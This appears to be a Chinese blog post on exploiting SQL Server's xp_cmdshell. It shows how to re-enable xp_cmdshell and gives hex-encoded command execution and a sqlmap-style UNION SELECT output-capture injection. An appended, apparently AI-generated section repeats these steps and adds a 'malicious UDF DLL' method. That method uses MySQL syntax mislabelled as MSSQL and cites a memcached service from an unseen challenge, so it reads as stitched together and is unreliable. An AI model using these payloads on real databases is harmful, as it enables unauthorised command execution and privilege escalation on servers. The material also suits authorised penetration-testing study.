MSSQL-xp_cmdshell 的利用

本文详细介绍了SQL Server中的xp_cmdshell扩展存储过程,包括其用途、语法、如何启用及潜在的安全风险利用方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一.关于xp_cmdshell

xp_cmdshell是用于执行Windows命令的一个扩展存储过程。

xp_cmdshell 生成的 Windows 进程与 SQL Server 服务帐户具有相同的安全权限。

 自SQL Server 2000后,默认情况下,xp_cmdshell 选项在新安装的软件上处于禁用状态,但是可以运行 sp_configure 系统存储过程来启用它。

二.xp_cmdshell的语法

xp_cmdshell { 'command_string' } [ , no_output ]

'command_string' 包含要传递到操作系统的命令字符串。command_string 的数据类型为 varchar(8000) 或 nvarchar(4000),无默认值。command_string 不能包含一对以上的双引号。如果 command_string 中引用的文件路径或程序名中存在空格,则需要使用一对引号。

no_output可选参数,指定不应向客户端返回任何输出。

三.启用xp_cmdshell

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

四.xp_cmdshell的利用

1.将要执行的命令先进行十六进制转换然后保存到变量中,最后再执行。

declare @shellcode varchar(600);set @shellcode=0x48inputyourpayload;exec master..xp_cmdshell @shellcode

2.将命令执行结果输出到文件中

DECLARE @cmd sysname, @var sysname
SET @var = 'dir/p'
SET @cmd = @var + ' > dir_out.txt'
EXEC master..xp_cmdshell @cmd
3.将命令执行结果输出到临时表中

CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))
DECLARE @ugye VARCHAR(8000);SET @ugye=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @ugye
union select null,null,data from sqlmapoutput where id = 1
DROP TABLE sqlmapoutput






### MSSQL 提权或执行命令的方式 #### 使用 `xp_cmdshell` 执行系统命令 `xp_cmdshell` 是 Microsoft SQL Server 中的一个扩展存储过程,允许直接调用操作系统命令并返回其输出。此功能在早期版本(如 MSSQL 2000)中默认启用,但在 MSSQL 2005 及更高版本中,默认情况下被禁用[^2]。 如果目标数据库启用了 `xp_cmdshell`,可以通过以下方式执行命令: ```sql EXEC master..xp_cmdshell 'whoami'; ``` 当 `xp_cmdshell` 被禁用时,可以尝试通过管理员权限重新启用它。具体操作如下: 1. 启用高级选项配置: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; ``` 2. 启用 `xp_cmdshell` 配置项: ```sql EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 完成上述步骤后即可再次使用 `xp_cmdshell` 来执行任意系统命令。 #### 利用自定义函数加载 DLL 文件 另一种方法是创建一个基于外部动态链接库 (DLL) 的用户定义函数 (UDF),从而实现命令执行的目的。例如,假设存在名为 `udf.dll` 的恶意 DLL 文件位于路径 `C:\windows\` 下,则可通过以下脚本将其注册至数据库并运行指定命令: ```sql CREATE FUNCTION cmdshell(@cmd NVARCHAR(4000)) RETURNS STRING SONAME 'udf.dll'; SELECT dbo.cmdshell('whoami'); DROP FUNCTION cmdshell; ``` 这种方法依赖于能够成功上传所需的 DLL 文件以及具备足够的权限去修改服务器上的文件系统结构[^3]。 #### 借助 Memcached 获取额外信息 除了直接针对 MSSQL 进行攻击外,还可以探索其他可能暴露的服务作为辅助手段。比如题目提到的 memcached 服务监听在 11211 端口上。Memcached 主要用于缓存数据对象到内存之中,并支持简单的 key-value 存储机制。假如能够访问远程主机上的此类实例,则有机会读取其中保存的数据片段甚至定位更多潜在漏洞位置[^4]。 尽管如此,请注意实际渗透测试过程中应当遵循合法授权范围内的活动准则,切勿非法入侵他人计算机信息系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值